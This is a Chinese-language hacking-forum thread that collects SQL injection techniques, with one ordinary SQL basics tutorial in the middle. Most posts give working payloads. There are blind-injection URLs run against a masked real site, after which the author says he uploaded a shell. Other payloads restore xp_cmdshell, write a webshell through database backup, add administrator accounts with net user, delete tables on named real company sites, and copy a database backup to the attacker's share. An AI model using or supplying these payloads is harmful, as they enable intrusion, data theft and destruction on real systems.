发新话题
打印

菜鸟升级一号专题(已完成)

SQL Injection中文猜测的两种方法

一、MS-SQL中的汉字猜测
可以说MS-SQL下的汉字是不用猜测的,你只要构造的条件足够的好,可以直接让对方在报错的时候将数据内容直接显示出来。通常的做法是把你要猜的内容所在的列做上一个其它类型的运算,这样由于执行中进行了错误的类型转换,会使得查询失败并且返回错误信息,而要猜的内容正好在信息中,例如:
select * from sysusers where [name]+1=2
name列是nvarchar,要让他做加法运算,铁定是出错:
Syntax error converting the nvarchar value public to a column of
data type int.
我们应该可以直接从返回的错误中获得需要的信息,例如这里的public。
所以说,MS-SQL下的汉字猜测,没有太大的必要去花大力气。
二、ACCESS中汉字字符的猜测
●汉字字符的确定
很简单,如果你发现一个网站是中文的,而且在注入的时候发现有异常的情况,你猜测的内容很有可能就是中文。通常我们这样确定:
... 0<>(select count(*) from admin where left(xxx,1) between
char(20) and char(254)).....
这是想只是在可见字符中进行猜测,如果这么大的范围都出了问题,可以试试看这个:
... 0<>(select count(*) from admin where left(xxx,1) between
char(254) and char(255)).....
如果这个条件是满足的,很不幸,你遇上中文了。
●间接的猜测法
如果是中文,对于列中各条数据进行left、right等运算的时候,没有把一个汉字拆开来,也就是说如果有一条记录是“0我1”,那么:
right(left(xxx,1),1) = 0
right(left(xxx,2),1) = 我
right(left(xxx,3),1) = 1
马上有人就想到了转换成整数来猜测,然后返回去算出到底是什么汉字。这确实是可以的,而且想法很巧妙,通常的办法是构造如下的条件
asc(right(left(xxx,N),1)) < -XXXXX
经验上来说,小于符号后面这个数应该在-10000以下,然后通过具体注入时候得到的结果,不断的缩小范围,最后得到一个很小的负数。当确定这个负数后,可以先用计算器算出十六进制的代码,然后用编辑软件得到汉字。比如说你得到的确定的整数是-10532,用计算器转换后应该得到的是D6DC,在UltraEdit中用十六进制编辑,可以看到D6DC获得的是一个“周”字。
●直接的猜测法
如同猜测非中文字符一样,中文字符也可以用between来逐步缩小范围,最后得到一个准确的汉字。这种方法的关键在于了解between作用于汉字的时候到底是怎样处理的,开始我在这方面走了一些弯路,后来多亏了小霸王(46466397),才得以彻底搞清,原来同我开始想的不一样,between对汉字的比较,是通过它们之间的unicode编码的先后顺序来的。我在网上没有搜索到unicode编码的表,在小霸王的指点下自己做了一份。
在猜测的时候,依然是逐步的缩小范围,对于汉字的确定,用最大范围上的between可以一下子获得,例如下面这个查询查询条件,可以确定被猜测的数据一定是汉字:
... right(left(xxx,N),1) between 一 and 翿
由于unicode编码的汉字并不是按照常用的程度来排列的,事实上给猜测带来了很大的麻烦,一般我倾向于写程序来猜测,两种方法的时间复杂度一样,感觉上用第二种方法编写程序可能更为简单。
●适用范围
应该说是都适用的。不过第二种方法一般要用到,有过滤的时候不通用。手工猜的话第一种方法应该很通用了,我也做了一个转换的小工具,直接由一个负整数获得对应的汉字。
●其它
两种方法对于远东字符的猜测都有效,而且应该对各种非ASCII码的猜测都有效。如果有对日文/韩文等进行注入,可以简单的利用上面的方法,不同的只是编码而已。
●实例
上个星期对www.jXXXXXX.org进行了测试(绝对善意!),我们先猜出来一个密码为19831016%%%%%的用户,通过len得知用户名长度为2,而且确定为汉字,开始猜测:
http://www.jXXXXXX.org/shownews.asp?NewsID=264%20and%200<;;>(select%20count(*)%20from%20admin%20where%20password=19831016%%%%%%20and%20asc(left(username,1))<-10000)
确定小于-10000,然后通过逐步缩小范围,最后确定是-10532
http://www.jXXXXXX.org/shownews.asp?NewsID=264%20and%200<;;>(select%20count(*)%20from%20admin%20where%20password=19831016%%%%%%20and%20asc(left(username,1))=-10532)
打开计算器,选择科学型,转换成十六进制单字,是D6DC,用UltraEdit编辑为周字。然后换一种方法猜测后面一个字,逐步缩小范围至:
http://www.jXXXXXX.org/shownews.asp?NewsID=264%20and%200<;;>(select%20count(*)%20from%20admin%20where%20password=19831016%%%%%%20and%20right(left(username,2),1)%20between%20未%20and%20本)

然后逐一确定,最后得到是“末”字:
http://www.jXXXXXX.org/shownews.asp?NewsID=264%20and%200<;;>(select%20count(*)%20from%20admin%20where%20password=19831016%%%%%%20and%20right(left(username,2),1)=末)
同样的,我们又猜了一个超级管理员的用户名/密码,登陆后上传shell,然后拿到了管理权限。没有恶意,只是证明无论是汉字的用户名还是密码,不会给你带来更大的安全性。
●附上unicode下汉字的顺序表[你能认出四分之一么?]
http://www.safechina.net/software/unicode.zip

TOP

SQL Server SA权限总结

注意:谨以此文章献给我的父亲和母亲,感谢他们对我多年来的养育之恩。我爱你-1。

原创声明:
中国暗域网络技术资讯站原创文章,作者 冰血封情<EvilOctal>,转载劳烦著名出处。

拙笔正文:
最近需要用到这些东西的时候,发现自己有点记不清了,这真是人老了做什么都不行了。没办法,只好在自己的blog上总结一下吧。使用Sqlexec加管理员的过程这里冰血就不涉及了。

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

第一部分:
有关去掉xp_cmdshell来保护系统的分析总结:
首先知道一下语句:
1.去掉xp_cmdshell扩展过程的方法是使用如下语句:
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
2.添加xp_cmdshell扩展过程的方法是使用如下语句:
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
现在看看现象:
我们在取得SA权限后远程用Sqlexec执行cmd命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。

现在来看看被去掉xp_cmdshell后恢复的两种方法:
方法一、使用SQL Query Analyzer连接对方后直接写入,挺方便
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
方法二、使用SqlExec Sunx Version
首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
或者对Sql2000情况下使用
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
另外使用SqlExec Sunx Version来去除xp_cmdshell的方法
和加的时候选择条件一样,然后输入
sp_dropextendedproc 'xp_cmdshell'
就可以了

第二部分:
假如对方已经把xplog70.dll删除或者改了名,我们来用下面的方法继续我们的hack任务:
当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。
在查询分析器中写入
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
提示
数据库中已存在名为'xp_cmdshell'的对象

那么我们如何恢复呢?
其实按照高手lcx提供的方法,我们可以通过使用查询分析器中写脚本来实现。
具体脚本源代码请点击连接获得。

TOP

SQL Server的用户及权限

Sybase中的用户分为两种:SQL服务器用户(登录帐号)和数据库用户。 安装完SQL服务器后,系统自动
建立一个SQL服务器用户sa,口令为空,即系统管理员,他对整个系统有操作权,其他用户均由系统管理
员建立。
在SQL Server中有三种特殊的用户:系统管理员、用户数据库所有者(建立相应数据库的数据库用户)
DBO、一般用户。系统管理员对整个系统有操作权;用户数据库所有者对他所建立的数据库具有全部操
作权利;一般用户对给定的数据库只有被授权的操作权限。
数据库用户一般可分为用户组,任一数据库在建立后即被赋予一个用户组public。
1、建立SQL服务器用户名(登录帐号)
作为一个用户,为了使用SQL Server,他必须在SQL Server上有一个SQL服务器用户名(登录帐号)。
这个帐号是系统管理员通过sp_addlogin来增加的。
sp_addlogin 登录名,口令,库名,语言,全名
例:建立用户zhang, 口令为zhangling(最低六位),全名为Zhang ling
1> sp_addlogin zhang,zhangling,null,null,Zhang ling
2> go
3> select * from syslogins
4> go
2、增加数据库用户名
同样,为了使用SQL Server上的数据库,他必须在数据库中有一个用户名,这个用户名是数据库所有
者通过sp_adduser来增加的。数据库用户名不必和用户帐户一样,而且在不同的数据库中用户名可以
不同。多个用户可以有相同的SQL Server帐户。同样,多个SQL Server帐户可以有相同的数据库名。
sp_adduser 登录名,别名,组名
登录名为用户的SQL服务器登录名;别名为用户在数据库中的用户名;组名为用户所属的数据库用户组。
例:用户zhang增加为tele114的用户,别名为zhang1,属于用户组china
1>sp_addgroup china
2>go
1>sp_adduser zhang,zhang1,china
2>go
1> sp_helpuser
2> go
*例:删除别名zhang1,用户组china,登录名zhang
1> use tele114
2> go
3> sp_dropuser zhang1
4> go
5> sp_helpuser
6> go
1>sp_dropgroup china
2>go
1> sp_helpgroup
2> go
3> use master
4> go
5> sp_droplogin zhang
6> go
7> select * from syslogins
8> go
3、数据库操作授权
grant 命令序列 to 用户名
A. 系统管理员可以授予其他用户CREATE DATABASE的权限,使其他用户可以成为数据库所有者。
B. 数据库所有者在他所拥有的数据库中,可以授予其他用户的权限有:
l CREATE TABLE ------------------- 建表
lCREATE DEFAULT ------------------ 建缺省
lCREATE RULE ------------------- 建规则
lCREATE PROCedure ------------------ 建存储过程
lCREATE VIEW ------------------- 建视图
lDUMP DATABASE ------------------- 备份数据库
lDUMP TRANsaction ------------------ 备份日志
C. 数据库对象所有者可以授予其他用户的操作权限有:
l SELECT
l UPDATE
l INSERT
l EXECute
l DELETE
l REFERENCE
例:授予zhang1在数据库tele114上建表,建视图,建存储过程;对表students有select,reference权;
对name,native字段有update权。
1> use tele114
2> go
3> grant creat table,create procedure ,create view to zhang1
4> go
5> grant select,reference on students to zhang1 with grant option 6> go
7> grant update on students(name,native) to zhang1
8> go
9> sp_helprotect
10> go

TOP

sql备份

试试,有没有Backup DataBase权限噢.
;use 库;--
;create table fuck(str image);--
;insert into fuck(str) values ('Webshell的内容');--
;backup database 库 to disk='D:\xxxx\l.asp';--

TOP

SQL基本语句

掌握SQL四条最基本的数据操作语句:Insert,Select,Update和Delete。

   练掌握SQL是数据库用户的宝贵财 富。在本文中,我们将引导你掌握四条最基本的数据操作语句—SQL的核心功能—来依次介绍比较操作符、选择断言以及三值逻辑。当你完成这些学习后,显然你已经开始算是精通SQL了。

  在我们开始之前,先使用CREATE TABLE语句来创建一个表(如图1所示)。DDL语句对数据库对象如表、列和视进行定义。它们并不对表中的行进行处理,这是因为DDL语句并不处理数据库中实际的数据。这些工作由另一类SQL语句—数据操作语言(DML)语句进行处理。

  SQL中有四种基本的DML操作:INSERT,SELECT,UPDATE和DELETE。由于这是大多数SQL用户经常用到的,我们有必要在此对它们进行一一说明。在图1中我们给出了一个名为EMPLOYEES的表。其中的每一行对应一个特定的雇员记录。请熟悉这张表,我们在后面的例子中将要用到它。

  INSERT语句

  用户可以用INSERT语句将一行记录插入到指定的一个表中。例如,要将雇员John Smith的记录插入到本例的表中,可以使用如下语句:

  INSERT INTO EMPLOYEES VALUES

   (Smith,John,1980-06-10,

   Los Angles,16,45000);

  通过这样的INSERT语句,系统将试着将这些值填入到相应的列中。这些列按照我们创建表时定义的顺序排列。在本例中,第一个值“Smith”将填到第一个列LAST_NAME中;第二个值“John”将填到第二列FIRST_NAME中……以此类推。

  我们说过系统会“试着”将值填入,除了执行规则之外它还要进行类型检查。如果类型不符(如将一个字符串填入到类型为数字的列中),系统将拒绝这一次操作并返回一个错误信息。

  如果SQL拒绝了你所填入的一列值,语句中其他各列的值也不会填入。这是因为SQL提供对事务的支持。一次事务将数据库从一种一致性转移到另一种一致性。如果事务的某一部分失败,则整个事务都会失败,系统将会被恢复(或称之为回退)到此事务之前的状态。

   回到原来的INSERT的例子,请注意所有的整形十进制数都不需要用单引号引起来,而字符串和日期类型的值都要用单引号来区别。为了增加可读性而在数字间插入逗号将会引起错误。记住,在SQL中逗号是元素的分隔符。

  同样要注意输入文字值时要使用单引号。双引号用来封装限界标识符。

  对于日期类型,我们必须使用SQL标准日期格式(yyyy-mm-dd),但是在系统中可以进行定义,以接受其他的格式。当然,2000年临近,请你最好还是使用四位来表示年份。

  既然你已经理解了INSERT语句是怎样工作的了,让我们转到EMPLOYEES表中的其他部分:

  INSERT INTO EMPLOYEES VALUES

   (Bunyan,Paul,1970-07-04,

   Boston,12,70000);

  INSERT INTO EMPLOYEES VALUES

   (John,Adams,1992-01-21,

   Boston,20,100000);

  INSERT INTO EMPLOYEES VALUES

   (Smith,Pocahontas,1976-04-06,

   Los Angles,12,100000);

  INSERT INTO EMPLOYEES VALUES

   (Smith,Bessie,1940-05-02,

   Boston,5,200000);

  INSERT INTO EMPLOYEES VALUES

   (Jones,Davy,1970-10-10,

   Boston,8,45000);

  INSERT INTO EMPLOYEES VALUES

   (Jones,Indiana,1992-02-01,

   Chicago,NULL,NULL);

  在最后一项中,我们不知道Jones先生的工薪级别和年薪,所以我们输入NULL(不要引号)。NULL是SQL中的一种特殊情况,我们以后将进行详细的讨论。现在我们只需认为NULL表示一种未知的值。

  有时,像我们刚才所讨论的情况,我们可能希望对某一些而不是全部的列进行赋值。除了对要省略的列输入NULL外,还可以采用另外一种INSERT语句,如下:

  INSERT INTO EMPLOYEES(

   FIRST_NAME, LAST_NAME,

   HIRE_DATE, BRANCH_OFFICE)

  VALUE(

   Indiana,Jones,

   1992-02-01,Indianapolis);

  这样,我们先在表名之后列出一系列列名。未列出的列中将自动填入缺省值,如果没有设置缺省值则填入NULL。请注意我们改变了列的顺序,而值的顺序要对应新的列的顺序。如果该语句中省略了FIRST_NAME和LAST_NAME项(这两项规定不能为空),SQL操作将失败。

  让我们来看一看上述INSERT语句的语法图:

  INSERT INTO table

   [(column { ,column})]

  VALUES

   (columnvalue [{,columnvalue}]);

  和前一篇文章中一样,我们用方括号来表示可选项,大括号表示可以重复任意次数的项(不能在实际的SQL语句中使用这些特殊字符)。VALUE子句和可选的列名列表中必须使用圆括号。

  SELECT语句

  SELECT语句可以从一个或多个表中选取特定的行和列。因为查询和检索数据是数据库管理中最重要的功能,所以SELECT语句在SQL中是工作量最大的部分。实际上,仅仅是访问数据库来分析数据并生成报表的人可以对其他SQL语句一窍不通。

  SELECT语句的结果通常是生成另外一个表。在执行过程中系统根据用户的标准从数据库中选出匹配的行和列,并将结果放到临时的表中。在直接SQL(direct SQL)中,它将结果显示在终端的显示屏上,或者将结果送到打印机或文件中。也可以结合其他SQL语句来将结果放到一个已知名称的表中。

  SELECT语句功能强大。虽然表面上看来它只用来完成本文第一部分中提到的关系代数运算“选择”(或称“限制”),但实际上它也可以完成其他两种关系运算—“投影”和“连接”,SELECT语句还可以完成聚合计算并对数据进行排序。

  SELECT语句最简单的语法如下:

  SELECT columns FROM tables;

  当我们以这种形式执行一条SELECT语句时,系统返回由所选择的列以及用户选择的表中所有指定的行组成的一个结果表。这就是实现关系投影运算的一个形式。

  让我们看一下使用图1中EMPLOYEES表的一些例子(这个表是我们以后所有SELECT语句实例都要使用的。而我们在图2和图3中给出了查询的实际结果。我们将在其他的例子中使用这些结果)。

  假设你想查看雇员工作部门的列表。那下面就是你所需要编写的SQL查询:

  SELECT BRANCH_OFFICE FROM EMPLOYEES;

  以上SELECT语句的执行将产生如图2中表2所示的结果。

  由于我们在SELECT语句中只指定了一个列,所以我们的结果表中也只有一个列。注意结果表中具有重复的行,这是因为有多个雇员在同一部门工作(记住SQL从所选的所有行中将值返回)。要消除结果中的重复行,只要在SELECT语句中加上DISTINCT子句:

  SELECT DISTINCT BRANCH_OFFICE

  FROM EMPLOYEES;

  这次查询的结果如表3所示。

  现在已经消除了重复的行,但结果并不是按照顺序排列的。如果你希望以字母表顺序将结果列出又该怎么做呢?只要使用ORDER BY子句就可以按照升序或降序来排列结果:

  SELECT DISTINCT BRANCH_OFFICE

  FROM EMPLOYEES

  ORDER BY BRANCH_OFFICE ASC;

  这一查询的结果如表4所示。请注意在ORDER BY之后是如何放置列名BRANCH _OFFICE的,这就是我们想要对其进行排序的列。为什么即使是结果表中只有一个列时我们也必须指出列名呢?这是因为我们还能够按照表中其他列进行排序,即使它们并不显示出来。列名BRANCH_ OFFICE之后的关键字ASC表示按照升序排列。如果你希望以降序排列,那么可以用关键字DESC。

  同样我们应该指出ORDER BY子句只将临时表中的结果进行排序;并不影响原来的表。

  假设我们希望得到按部门排序并从工资最高的雇员到工资最低的雇员排列的列表。除了工资括号中的内容,我们还希望看到按照聘用时间从最近聘用的雇员开始列出的列表。以下是你将要用到的语句:

  SELECT BRANCH_OFFICE,FIRST_NAME,

   LAST_NAME,SALARY,HIRE_DATE

  FROM EMPLOYEES

  ORDER BY SALARY DESC,

   HIRE_DATE DESC;

  这里我们进行了多列的选择和排序。排序的优先级由语句中的列名顺序所决定。SQL将先对列出的第一个列进行排序。如果在第一个列中出现了重复的行时,这些行将被按照第二列进行排序,如果在第二列中又出现了重复的行时,这些行又将被按照第三列进行排序……如此类推。这次查询的结果如表5所示。

  将一个很长的表中的所有列名写出来是一件相当麻烦的事,所以SQL允许在选择表中所有的列时使用*号:

  SELECT * FROM EMPLOYEES;

  这次查询返回整个EMPLOYEES表,如表1所示。

   下面我们对开始时给出的SELECT语句的语法进行一下更新(竖直线表示一个可选项,允许在其中选择一项。):

  SELECT [DISTINCT]

   (column [{, columns}])| *

  FROM table [ {, table}]

  [ORDER BY column [ASC] | DESC

   [ {, column [ASC] | DESC }]];

  定义选择标准

  在我们目前所介绍的SELECT语句中,我们对结果表中的列作出了选择但返回的是表中所有的行。让我们看一下如何对SELECT语句进行限制使得它只返回希望得到的行:

  SELECT columns FROM tables [WHERE predicates];

  WHERE子句对条件进行了设置,只有满足条件的行才被包括到结果表中。这些条件由断言(predicate)进行指定(断言指出了关于某件事情的一种可能的事实)。如果该断言对于某个给定的行成立,该行将被包括到结果表中,否则该行被忽略。在SQL语句中断言通常通过比较来表示。例如,假如你需要查询所有姓为Jones的职员,则可以使用以下SELECT语句:

  SELECT * FROM EMPLOYEES

  WHERE LAST_NAME = Jones;

  LAST_NAME = Jones部分就是断言。在执行该语句时,SQL将每一行的LAST_NAME列与“Jones”进行比较。如果某一职员的姓为“Jones”,即断言成立,该职员的信息将被包括到结果表中(见表6)。

  使用最多的六种比较

  我们上例中的断言包括一种基于“等值”的比较(LAST_NAME = Jones),但是SQL断言还可以包含其他几种类型的比较。其中最常用的为:

  等于 =

  不等于 <>

  小于 <

  大于 >

  小于或等于 <=

  大于或等于 >=

  下面给出了不是基于等值比较的一个例子:

  SELECT * FROM EMPLOYEES

  WHERE SALARY > 50000;

  这一查询将返回年薪高于$50,000.00的职员(参见表7)。

  逻辑连接符

  有时我们需要定义一条不止一种断言的SELECT语句。举例来说,如果你仅仅想查看Davy Jones的信息的话,表6中的结果将是不正确的。为了进一步定义一个WHERE子句,用户可以使用逻辑连接符AND,OR和NOT。为了只得到职员Davy Jones的记录,用户可以输入如下语句:

  SELECT * FROM EMPLOYEES

  WHERE LAST_NAME = Jones AND FIRST_NAME = Davy;

  在本例中,我们通过逻辑连接符AND将两个断言连接起来。只有两个断言都满足时整个表达式才会满足。如果用户需要定义一个SELECT语句来使得当其中任何一项成立就满足条件时,可以使用OR连接符:

  SELECT * FROM EMPLOYEES

  WHERE LAST_NAME = Jones OR LAST_NAME = Smith;

  有时定义一个断言的最好方法是通过相反的描述来说明。如果你想要查看除了Boston办事处的职员以外的其他所有职员的信息时,你可以进行如下的查询:

  SELECT * FROM EMPLOYEES

  WHERE NOT(BRANCH_OFFICE = Boston);

  关键字NOT后面跟着用圆括号括起来的比较表达式。其结果是对结果取否定。如果某一职员所在部门的办事处在Boston,括号内的表达式返回true,但是NOT操作符将该值取反,所以该行将不被选中。

  断言可以与其他的断言嵌套使用。为了保证它们以正确的顺序进行求值,可以用括号将它们括起来:

  SELECT * FROM EMPLOYEES

  WHERE (LAST_NAME = Jones

  AND FIRST_NAME = Indiana)

  OR (LAST_NAME = Smith

  AND FIRST_NAME = Bessie);

  SQL沿用数学上标准的表达式求值的约定—圆括号内的表达式将最先进行求值,其他表达式将从左到右进行求值。

  以上对逻辑连接符进行了说明,在对下面的内容进行说明之前,我们再一次对SELECT语句的语法进行更新:

  SELECT [DISTINCT]

   (column [{, column } ] )| *

  FROM table [ { , table} ]

  [ORDER BY column [ASC] | [DESC

  [{ , column [ASC] | [DESC } ] ]

  WHERE predicate [ { logical-connector predicate } ];

  NULL和三值逻辑

  在SQL中NULL是一个复杂的话题,关于NULL的详细描述更适合于在SQL的高级教程而不是现在的入门教程中进行介绍。但由于NULL需要进行特殊处理,并且你也很可能会遇到它,所以我们还是简略地进行一下说明。

  首先,在断言中进行NULL判断时需要特殊的语法。例如,如果用户需要显示所有年薪未知的职员的全部信息,用户可以使用如下SELECT语句:

  SELECT * FROM EMPLOYEES

  WHERE SALARY IS NULL;

  相反,如果用户需要所有已知年薪数据的职员的信息,你可以使用以下语句:

  SELECT * FROM EMPLOYEES

  WHERE SALARY IS NOT NULL;

  请注意我们在列名之后使用了关键字IS NULL或IS NOT NULL,而不是标准的比较形式:COLUMN = NULL、COLUMN <> NULL或是逻辑操作符NOT(NULL)。

  这种形式相当简单。但当你不明确地测试NULL(而它们确实存在)时,事情会变得很混乱。

  例如,回过头来看我们图1中的EM-PLOYEES表,可以看到Indiana Jones的工薪等级或年薪值都是未知的。这两个列都包含NULL。可以想象运行如下的查询:

  SELECT * FROM EMPLOYEES

  WHERE GRADE <= SALARY;

  此时,Indiana Jones应该出现在结果表中。因为NULL都是相等的,所以可以想象它们是能够通过GRADE小于等于SALARY的检查的。这其实是一个毫无疑义的查询,但是并没有关系。SQL允许进行这样的比较,只要两个列都是数字类型的。然而,Indiana Jones并没有出现在查询的结果中,为什么?

  正如我们早先提到过的,NULL表示未知的值(而不是象某些人所想象的那样表示一个为NULL的值)。对于SQL来说意味着这个值是未知的,而只要这个值为未知,就不能将其与其他值比较(即使其他值也是NULL)。所以SQL允许除了在true 和false之外还有第三种类型的真值,称之为“非确定”(unknown)值。

  如果比较的两边都是NULL,整个断言就被认为是非确定的。将一个非确定断言取反或使用AND或OR与其他断言进行合并之后,其结果仍是非确定的。由于结果表中只包括断言值为“真”的行,所以NULL不可能满足该检查。从而需要使用特殊的操作符IS NULL和IS NOT NULL。

  UPDATE语句

  UPDATE语句允许用户在已知的表中对现有的行进行修改。

  例如,我们刚刚发现Indiana Jones的等级为16,工资为$40,000.00,我们可以通过下面的SQL语句对数据库进行更新(并清除那些烦人的NULL)。

  UPDATE EMPLOYEES

  SET GRADE = 16, SALARY = 40000

  WHERE FIRST_NAME = Indiana

   AND LAST_NAME = Jones;

  上面的例子说明了一个单行更新,但是UPDATE语句可以对多行进行操作。满足WHERE条件的所有行都将被更新。如果,你想让Boston办事处中的所有职员搬到New York,你可以使用如下语句:

  UPDATE EMPLOYEES

  SET BRANCH_OFFICE = New York

  WHERE BRANCH_OFFICE = Boston;

  如果忽略WHERE子句,表中所有行中的部门值都将被更新为New York。

  UPDATE语句的语法流图如下面所示:

  UPDATE table

  SET column = value [{, column = value}]

  [ WHERE predicate [ { logical-connector predicate}]];

  DELETE语句

  DELETE语句用来删除已知表中的行。如同UPDATE语句中一样,所有满足WHERE子句中条件的行都将被删除。由于SQL中没有UNDO语句或是“你确认删除吗?”之类的警告,在执行这条语句时千万要小心。如果决定取消Los Angeles办事处并解雇办事处的所有职员,这一卑鄙的工作可以由以下这条语句来实现:

  DELETE FROM EMPLOYEES

  WHERE BRANCH_OFFICE = Los Angeles;

  如同UPDATE语句中一样,省略WHERE子句将使得操作施加到表中所有的行。

  DELETE语句的语法流图如下面所示:

  DELETE FROM table

  [WHERE predicate [ { logical-connector predicate} ] ];

  现在我们完成了数据操作语言(DML)的主要语句的介绍。我们并没有对SQL能完成的所有功能进行说明。SQL还提供了许多的功能,如求平均值、求和以及其他对表中数据的计算,此外SQL还能完成从多个表中进行查询(多表查询,或称之为连接)的工作。这种语言还允许你使用GRANT和REVOKE命令控制使用者的数据访问权限。

TOP

SQL数据库攻击详解

对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!

这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;execsp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....

这种方法请求数据库,那么如果还用以上的例子就会news.asp?id=2;exec sp_addlogin hax变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ... 整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方
法:
news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add';--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
这样,你在他的数据库和系统内都留下了hax管理员账号了,当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵.当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了。

再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。你如天融信的主页,有新闻内容,如下:
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;-- 呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用'号结束,那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;-- 哈哈,我想只要表名猜对了,新闻库就被删了。

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限。

但是我们不知道库名该怎么?看看db_name()函数吧。打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了。

以次类推,如下: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';-- 呵呵,他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧。同理这个方法可以找到对方的SQL的IP,先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示,然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP,如果防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位置了。


那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办?
别着急,试试看这个news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat',name='test';-- 呵呵,你的防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露。

那么如果对方连某个数据库的owner也不是的话,我们该怎么办?下次我会告诉大家一个更好的办法。

其实backuo database到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的。下次我们还会谈到如何骗过IDS执行ASP+SQL入侵。

目前有些好的IDS已经开始监视xp_cmdshell这些关键字了,好吧,同志们下次见!

所有以上url希望大家通过vbscript提交,因为浏览器的地址栏会屏蔽一些特殊字符,这样你的命令就不能完整传输了window.location.herf=URL

补充:这个问题以前载网上也提出来过,但是只是一些简单的xp_cmdshell调用限制很大,其实这里面还有很多值得深入的地方比如www.guosen.com.cn。国信证卷就有这个问题,而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了,字符串会被过滤,但是我尝试了,用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号!由于对方防火墙很严checkpoint数据报进出都只开放80端口因此,要想获得他的数据库结构比较困难了,但是还是有办法可以做到的:P。

顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系统函数当asp的sqlserver账号只是一个普通用户时,他们会很有用的!

sql server新漏洞和一些突破口

下面我要谈到一些sqlserver新的bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别,当然很有可能有些高手早已知道了,毕竟我接触sqlserver的时间不到1年:P

1。关于openrowset和opendatasource
可能这个技巧早有人已经会了,就是利用openrowset发送本地命令
通常我们的用法是(包括MSDN的列子)如下

select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset

那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!

select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshell ''dir c:\''')
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。

那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic'),这样,命令至少会返回select 'OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于


这个方法真正的用处,大家慢慢想吧:P

2。关于msdasql两次请求的问题
不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下

